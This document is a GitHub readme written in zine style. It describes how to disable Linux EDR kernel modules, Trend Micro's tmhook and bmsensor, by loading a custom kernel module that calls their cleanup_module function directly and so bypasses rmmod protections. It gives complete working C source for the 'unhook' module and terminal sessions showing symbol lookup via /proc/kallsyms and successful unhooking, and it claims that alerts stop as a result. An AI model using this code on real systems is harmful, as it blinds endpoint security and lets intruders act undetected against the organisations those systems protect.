-
Notifications
You must be signed in to change notification settings - Fork 17
Expand file tree
/
Copy pathreadme.txt
More file actions
301 lines (245 loc) · 13.7 KB
/
Copy pathreadme.txt
File metadata and controls
301 lines (245 loc) · 13.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
root@malware:~# insmod unhook.ko
root@malware:~# dmesg
[ 1337.001337]
[ 1337.001337]
[ 1337.001337] Unhooking Linux EDRs
[ 1337.001337]
[ 1337.001337]
root@malware:~#
--[ Summary ]-----------------------------------------------------------------
1 - Introduction
2 - Understanding how Kernel Module is removed
3 - Unhooking EDR
4 - Conclusion
--[ 1 ]--------------------------------------------[ Introduction ]-----
Linux security has always been a subject of great interest to me, especially
when it comes to detecting and mitigating threats at the kernel level.
I am constantly seeking to understand the mechanisms used for system
monitoring and protection, and this time, I have deepened my research in
EDRs (Endpoint Detection and Response) on Linux.
Currently, various EDR solutions uses LKMs (Loadable Kernel Modules)
to system call hooking and implementing security mechanisms. For example,
Trend Micro Deep Security utilizes kernel modules for monitoring and protection,
whereas CrowdStrike Falcon relies on eBPF (Extended Berkeley Packet Filter)
and ML (Machine Learning).
What caught my attention the most were EDRs that utilize LKMs. In this zine,
I will explore how we can manipulate these hooks removing hooks from a
specific LKM to prevent alert generation and potentially disable its
protection mechanisms.
--[ 2 ]--------------------------------------------[ Understanding how Kernel Module is removed ]-----
First, we need to understand how a kernel module is removed. To do this,
let's look at a simple C code snippet that represents a Loadable Kernel Module (LKM):
╔═══════════════════════════════════════╗
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("matheuz");
MODULE_DESCRIPTION("Example");
int matheuz_init(void) {
printk(KERN_INFO "Hello, @matheuz!\n");
return 0;
}
void matheuz_exit(void) {
printk(KERN_INFO "Bye, @matheuz!\n");
}
module_init(matheuz_init);
module_exit(matheuz_exit);
╚═══════════════════════════════════════╝
When the module is loaded, the kernel call matheuz_init(), logging
"Hello, @matheuz!" in the kernel log. Upon removal with rmmod, the kernel checks
if the module is in use (refcount), calls matheuz_exit(), logs "Bye, @matheuz!",
and removes the LKM, making it disappear from /proc/modules and /sys/module/.
Interestingly, the kernel creates an alias called cleanup_module, pointing
to matheuz_exit(), which can be verified through /proc/kallsyms:
╔════════════════════════════════════════════════════════════════════════╗
cowboy@bebop:~$ sudo insmod matheuz.ko
cowboy@bebop:~$ dmesg
[ 1894.726088] Hello, @matheuz!
cowboy@bebop:~$ sudo cat /proc/kallsyms|grep matheuz | grep -e cleanup_mod
ffffffffc113b010 d __UNIQUE_ID___addressable_cleanup_module467 [matheuz]
ffffffffc1139040 t cleanup_module [matheuz]
ffffffffc1139030 t __pfx_cleanup_module [matheuz]
cowboy@bebop:~$
╚════════════════════════════════════════════════════════════════════════╝
You might be wondering: why does this matter? After all, only root users
can remove modules using rmmod in specific, right? Wrong. Some security solutions,
such as Trend Micro's EDR, implement protections that prevent their kernel module
from being removed even with root:
╔════════════════════════════════════════════════════════════════════════╗
root@edr:~# lsmod|grep tmhook
tmhook 143360 110 bmsensor
root@edr:~# lsmod|grep bmsensor
bmsensor 557056 2
tmhook 143360 110 bmsensor
root@edr:~#
root@edr:~# rmmod -f bmsensor
rmmod: ERROR: ../libkmod/libkmod-module.c:799 kmod_module_remove_module() could not remove 'bmsensor': Resource temporarily unavailable
rmmod: ERROR: could not remove module bmsensor: Resource temporarily unavailable
root@edr:~#
root@edr:~# rmmod -f tmhook
rmmod: ERROR: ../libkmod/libkmod-module.c:799 kmod_module_remove_module() could not remove 'tmhook': Resource temporarily unavailable
rmmod: ERROR: could not remove module tmhook: Resource temporarily unavailable
root@edr:~#
root@edr:~#
╚════════════════════════════════════════════════════════════════════════╝
But what if, instead of using rmmod, we directly calls the module's
cleanup_module function, bypassing these restrictions?
--[ 3 ]--------------------------------------------[ Unhooking EDR ]-----
Since rmmod is not a viable option, we can bypass this limitation by directly calls
the module's cleanup_module function. But how is this possible? The answer
is simple: by creating an LKM that have the function's address and calls it.
In other words, if we find cleanup_module through /proc/kallsyms and call it,
we can disable the module's hooks without actually removing it from memory.
╔════════════════════════════════════════════════════════════════════════╗
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/list.h>
#include <linux/slab.h>
struct module_entry {
struct list_head list;
char *name;
void *address;
};
static LIST_HEAD(module_list);
static void add_entry(char *name, void *address) {
struct module_entry *mod;
mod = kmalloc(sizeof(struct module_entry), GFP_KERNEL);
if (!mod) {
printk(KERN_ERR "Deu ruimkjkj.\n");
return;
}
mod->name = name;
mod->address = address;
list_add_tail(&mod->list, &module_list);
}
static void magick_lol(void) {
struct module_entry *entry;
list_for_each_entry(entry, &module_list, list) {
if (strcmp(entry->name, "cleanup_module") == 0) {
((void (*)(void))entry->address)();
break;
}
}
}
static int __init lkm_init(void) {
add_entry("cleanup_module", (void *)0xffffffffc093b990); //call
magick_lol();
return 0;
}
static void __exit lkm_exit(void) {
printk(KERN_INFO "Qlq coisa kkjkjkjk\n");
}
MODULE_LICENSE("GPL");
MODULE_AUTHOR("matheuz");
MODULE_DESCRIPTION("Sem descrição kkjkjk");
MODULE_VERSION("1.0");
module_init(lkm_init);
module_exit(lkm_exit);
╚════════════════════════════════════════════════════════════════════════╝
In short, this simple code creates a linked list of structures where each entry
contains the name and address of a function specifically, cleanup_module
from the tmhook module.
It then adds an entry for cleanup_module with its corresponding address and
calls the function magick_lol(), which searches for this entry in the list.
If found, it calls the associated function.
Once the LKM is loaded, you can check the kernel logs with dmesg to confirm
that the module has been successfully "removed." As a result, all protections
will be bypassed, alerts will stop triggering, and any hooked operations within
the kernel module will cease to function. This is because cleanup_module
is simply an alias for module_exit, meaning the module still appears in lsmod,
but its hooks are no longer active.
╔════════════════════════════════════════════════════════════════════════╗
root@edr:~# lsmod|grep tmhook
tmhook 143360 110 bmsensor
root@edr:~#
root@edr:~# dmesg|grep tmhook
[ 24.211040] tmhook: loading out-of-tree module taints kernel.
[ 24.211046] tmhook: tainting kernel with TAINT_LIVEPATCH
[ 24.211048] tmhook: module verification failed: signature and/or required key missing - tainting kernel
[ 24.318298] tmhook: tmhook_lookup_symbol(do_int80_syscall_32) failed: register_kprobe = -2
[ 24.318438] tmhook: tmhook_lookup_symbol(ia32_sys_call_table) failed: register_kprobe = -2
[ 24.388078] livepatch: enabling patch 'tmhook'
[ 24.397248] livepatch: 'tmhook': starting patching transition
[ 24.445418] tmhook: tmhook 1.2.2049 loaded
[ 41.049805] livepatch: 'tmhook': patching complete
root@edr:~#
root@edr:~# cat /proc/kallsyms|grep tmhook |grep -e cleanup_module
ffffffffc08cdd50 d __UNIQUE_ID___addressable_cleanup_module319 [tmhook]
ffffffffc08cb310 t cleanup_module [tmhook]
ffffffffc08cb300 t __pfx_cleanup_module [tmhook]
root@edr:~#
root@edr:~# cat unhook.c|grep cleanup_mod
if (strcmp(entry->name, "cleanup_module") == 0) {
add_entry("cleanup_module", (void *)0xffffffffc08cb310); //call
root@edr:~#
╚════════════════════════════════════════════════════════════════════════╝
Notice that the Trend Micro tmhook module is currently loaded. Now,
let's call its cleanup_module function.
╔════════════════════════════════════════════════════════════════════════╗
root@edr:~# insmod unhook.ko
root@edr:~#
root@edr:~# dmesg|grep tmhook
[ 24.211040] tmhook: loading out-of-tree module taints kernel.
[ 24.211046] tmhook: tainting kernel with TAINT_LIVEPATCH
[ 24.211048] tmhook: module verification failed: signature and/or required key missing - tainting kernel
[ 24.318298] tmhook: tmhook_lookup_symbol(do_int80_syscall_32) failed: register_kprobe = -2
[ 24.318438] tmhook: tmhook_lookup_symbol(ia32_sys_call_table) failed: register_kprobe = -2
[ 24.388078] livepatch: enabling patch 'tmhook'
[ 24.397248] livepatch: 'tmhook': starting patching transition
[ 24.445418] tmhook: tmhook 1.2.2049 loaded
[ 41.049805] livepatch: 'tmhook': patching complete
[ 1040.077852] tmhook: tmhook 1.2.2049 unloaded
root@edr:~#
root@edr:~#
╚════════════════════════════════════════════════════════════════════════╝
After loading our LKM that calls cleanup_module, check the dmesg logs,
tmhook has been successfully unloaded. This confirms that the technique
worked perfectly! We can apply the same approach to bmsensor, Trend Micro's sensor module.
╔════════════════════════════════════════════════════════════════════════╗
root@edr:~# cat /proc/kallsyms|grep bmsensor|grep -e cleanup_module
ffffffffc0947ef0 d __UNIQUE_ID___addressable_cleanup_module502 [bmsensor]
ffffffffc093b990 t cleanup_module [bmsensor]
ffffffffc093b980 t __pfx_cleanup_module [bmsensor]
root@edr:~#
root@edr:~# cat unhook.c |grep 990
add_entry("cleanup_module", (void *)0xffffffffc093b990); //call
root@edr:~#
root@edr:~# insmod unhook.ko
root@edr:~#
╚════════════════════════════════════════════════════════════════════════╝
As a result, no alerts will be triggered, and none of Trend Micro's module
hooks will function, as we have effectively "removed" it, without actually using rmmod.
╔════════════════════════════════════════════════════════════════════════╗
cowboy@bebop:~$ sudo insmod matheuz.ko
cowboy@bebop:~$ dmesg
[ 5415.087197] Hello, @matheuz!
cowboy@bebop:~$
cowboy@bebop:~$ sudo cat /proc/kallsyms|grep matheuz|grep -e cleanup_mod
ffffffffc113b010 d __UNIQUE_ID___addressable_cleanup_module467 [matheuz]
ffffffffc1139040 t cleanup_module [matheuz]
ffffffffc1139030 t __pfx_cleanup_module [matheuz]
cowboy@bebop:~$
cowboy@bebop:~$ cat unhook.c |grep cleanup_mod
if (strcmp(entry->name, "cleanup_module") == 0) {
add_entry("cleanup_module", (void *)0xffffffffc1139040); //call
cowboy@bebop:~$
cowboy@bebop:~$ sudo insmod unhook.ko
cowboy@bebop:~$
cowboy@bebop:~$ dmesg
[ 5415.087197] Hello, @matheuz!
[ 5493.200914] Bye, @matheuz!
cowboy@bebop:~$
╚════════════════════════════════════════════════════════════════════════╝
This technique can be applied to any module that implements cleanup_module,
whether it's an EDR, a rootkit, or any other LKM.
--[ 4 ]--------------------------------------------[ Conclusion ]-----
Kernel modules present multiple attack surfaces, and by manipulating cleanup_module,
we were able to disable hooks and suppress alerts without officially
removing the module. This demonstrates that the very design of Linux provides
alternative pathways for those who know where to look.
If you have any questions, please contact me:
Discord: kprobe
Twitter: @MatheuzSecurity
Rootkit Researchers: https://discord.gg/66N5ZQppU7